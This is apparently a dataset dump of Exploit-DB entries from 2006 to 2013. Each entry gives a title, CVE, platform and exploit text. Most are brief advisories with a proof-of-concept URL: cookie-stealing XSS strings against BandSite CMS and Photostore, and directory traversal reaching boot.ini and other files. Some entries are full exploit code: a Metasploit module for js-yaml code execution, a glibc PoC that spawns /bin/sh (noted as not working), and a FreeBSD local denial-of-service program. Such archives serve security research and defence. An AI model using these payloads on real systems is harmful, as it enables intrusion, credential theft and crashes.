QLWD/code_shield huggingface dataset:
标题: Photostore - 'view_photog.php?photogid' Cross-Site Scripting EDB-ID: 28663 CVE: 2006-5057 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20172/info
 
Photostore is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/[path]/view_photog.php?photogid=[xss] URL: https://www.exploit-db.com/exploits/28663
标题: Photostore - 'details.php?gid' Cross-Site Scripting EDB-ID: 28662 CVE: 2006-5057 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20172/info

Photostore is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[path]/details.php?gid=[xss] URL: https://www.exploit-db.com/exploits/28662
标题: Nodejs - 'js-yaml load()' Code Exec (Metasploit) EDB-ID: 28655 CVE: 2013-4660 类型: LOCAL 平台: MULTIPLE 发布日期: 2013-09-30 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nodejs js-yaml load() Code Exec',
      'Description'    => %q{
        For node.js applications that parse user-supplied YAML input using the
        load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
        function allows us to execute arbitrary javascript code.
      },
      'Author'         => ['joev <jvennix[at]rapid7.com>'],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2013-4660'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
      'Platform'       => 'nodejs',
      'Arch'           => ARCH_NODEJS,
      'Privileged'     => false,
      'Targets'        =>  [['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2013',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ], self.class)
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")
  end
end URL: https://www.exploit-db.com/exploits/28655
标题: glibc and eglibc 2.5/2.7/2.13 - Local Buffer Overflow EDB-ID: 28657 CVE: 2013-4788 类型: LOCAL 平台: LINUX 发布日期: 2013-09-30 漏洞利用脚本: /*
 * 
 * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
 *
 * $FILE: bug-mangle.c
 *
 * Comment: Proof of concept
 *
 * $VERSION$
 *
 * Author: Hector Marco <hecmargi@upv.es>
 *         Ismael Ripoll <iripoll@disca.upv.es>
 *
 * $LICENSE:  
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
   printf("[+] hacked !!\n");
   system("/bin/sh");
}

int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
      printf("[-] Exploit failed.\n");
      return 0;
   }

   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, 1);

   printf("[-] Exploit failed.\n");
   return 0;
}

####################################################################################################################
#
# Reader submitted results
/*

[522] user@his-system ~ $ ./POC
[+] Exploiting ...
Segmentation fault
[523] user@his-system ~ $ ldd POC
linux-vdso.so.1 => (0x00007fffab5fd000)
libc.so.6 => /lib64/libc.so.6 (0x0000003269800000)
/lib64/ld-linux-x86-64.so.2 (0x0000003269400000)
[525] user@his-system ~ $ uname -a
Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[526] user@his-system ~ $

[526] user@his-system ~ $ grep vsys /proc/self/maps
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]

*/ URL: https://www.exploit-db.com/exploits/28657
标题: Google Mini Search Appliance 4.4.102.M.36 - Information Disclosure EDB-ID: 28644 CVE: 2006-5019 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/20149/info

The Google Mini Search Appliance is prone to an information-disclosure vulnerability. 

An attacker can exploit this vulnerability to reveal the location of a directory contained in the configured document root. Information harvested through exploiting this issue may aid in further attacks. 

This issue affects firmware version 4.4.102.M.36; other versions may also be affected.

http://www.example.com/js/vendors.php?file=../../../../[file]%00foobar.js URL: https://www.exploit-db.com/exploits/28644
标题: BandSite CMS 1.1 - 'reviews_content.php' Cross-Site Scripting EDB-ID: 28635 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
                  
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                  
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                  
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/reviews_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28635
标题: BandSite CMS 1.1 - 'footer.php' Cross-Site Scripting EDB-ID: 28638 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
                     
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                     
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                     
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/footer.php?this_year=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28638
标题: CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Arbitrary File Manipulation EDB-ID: 28641 CVE: 2006-4900 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20139/info
 
CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:
 
- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.
 
These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.
 
An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.

https://www.example.com:8080/etrust/servlet/eSMPAuditServlet?verb=getadhochtml&eSCCAdHocHtmlFile=../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/28641
标题: BandSite CMS 1.1 - 'signgbook_content.php' Cross-Site Scripting EDB-ID: 28637 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
                    
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                    
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                    
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/signgbook_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28637
标题: CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Web Server Full Path Disclosure EDB-ID: 28640 CVE: 2006-4899 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20139/info

CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:

- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.

These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.

An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.

https://www.example.com:8080/etrust/servlet/ePPIServlet?PIProfile=eAV_Report's&PIName=Generate+Pre-7.1+Report+Data&profile= Threat+Management&node= URL: https://www.exploit-db.com/exploits/28640
标题: Apple Mac OSX 10.x - AirPort Wireless Driver Multiple Buffer Overflow Vulnerabilities EDB-ID: 28643 CVE: 2006-3507 类型: REMOTE 平台: OSX 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20144/info

The Apple Mac OS X AirPort wireless driver is prone to multiple buffer-overflow vulnerabilities because it fails to perform sufficient bounds checking before copying data to finite-sized buffers.

An attacker can exploit these issues to have arbitrary machine code execute with kernel-level privileges. One of the issues allows code execution in the context of an application using the wireless API. This may lead to denial-of-service conditions or the complete compromise of the affected computer.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28643.zip URL: https://www.exploit-db.com/exploits/28643
标题: PLESK 7.5/7.6 - 'FileManager.php' Directory Traversal EDB-ID: 28647 CVE: 2006-5028 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/20155/info

PLESK is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Versions 7.5 Reload (and prior) and 7.6 for Windows are vulnerable to this issue; other versions may also be affected.

https://www.example.com:8443/filemanager/filemanager.php?cmd=chdir&file=../ URL: https://www.exploit-db.com/exploits/28647
标题: BandSite CMS 1.1 - 'releases_content.php' Cross-Site Scripting EDB-ID: 28634 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
                 
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                 
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                 
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/releases_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28634
标题: CakePHP 1.1.7.3363 - 'Vendors.php' Directory Traversal EDB-ID: 28645 CVE: 2006-5031 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/20150/info

CakePHP is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Version 1.1.7.3633 is vulnerable; earlier versions may also be affected.

http://www.example.com/js/vendors.php?file=../../../../[file]%00foobar.js URL: https://www.exploit-db.com/exploits/28645
标题: BandSite CMS 1.1 - 'shows_content.php' Cross-Site Scripting EDB-ID: 28636 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
                   
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                   
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                   
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/shows_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28636
标题: CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Audit Event System Replay Attack EDB-ID: 28642 CVE: 2006-4901 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20139/info
 
CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:
 
- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.
 
These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.
 
An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.

The following command-line example will send a login-failure event:
etsapisend.exe -nod $dstIP -cat "System Access" -opr Logon -sta F -nam NT-Security -loc \\Domain\IIS_Server -usr System -evt 70 -src Security -nid 529 -inf "Logon Failure" URL: https://www.exploit-db.com/exploits/28642
标题: FreeBSD 5.x - 'I386_Set_LDT()' Multiple Local Denial of Service Vulnerabilities EDB-ID: 28648 CVE: 2006-4178 类型: DOS 平台: FREEBSD 发布日期: 2006-09-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/20158/info

FreeBSD is prone to multiple local denial-of-service vulnerabilities. These issues occur because of input-validation flaws related to the handling of integers.

An attacker may leverage these issues to cause the affected computer to crash, denying service to legitimate users.

Versions 5.2 through 5.5 are vulnerable to these issues; other versions may also be affected.

#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

int main(int argc,char **argv){

    if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_FAILURE);
} URL: https://www.exploit-db.com/exploits/28648
标题: BandSite CMS 1.1 - 'member_content.php' Cross-Site Scripting EDB-ID: 28628 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
           
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
           
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
           
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/member_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28628
标题: BandSite CMS 1.1 - 'photo_content.php' Cross-Site Scripting EDB-ID: 28633 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
                
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/photo_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28633
标题: BandSite CMS 1.1 - 'pastshows_content.php' Cross-Site Scripting EDB-ID: 28632 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
               
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
               
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
               
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/pastshows_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28632
标题: BandSite CMS 1.1 - 'lyrics_content.php' Cross-Site Scripting EDB-ID: 28627 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
          
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
          
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
          
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/lyrics_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28627
标题: BandSite CMS 1.1 - 'mp3_content.php' Cross-Site Scripting EDB-ID: 28630 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
             
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
             
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
             
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/mp3_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28630
标题: BandSite CMS 1.1 - 'merch_content.php' Cross-Site Scripting EDB-ID: 28629 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
            
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
            
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
            
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/merch_content.php?the_band=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28629
标题: BandSite CMS 1.1 - 'login_header.php' Cross-Site Scripting EDB-ID: 28622 CVE: 2006-4985 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/20137/info
     
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
     
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
     
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/login_header.php?the_band=</title><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28622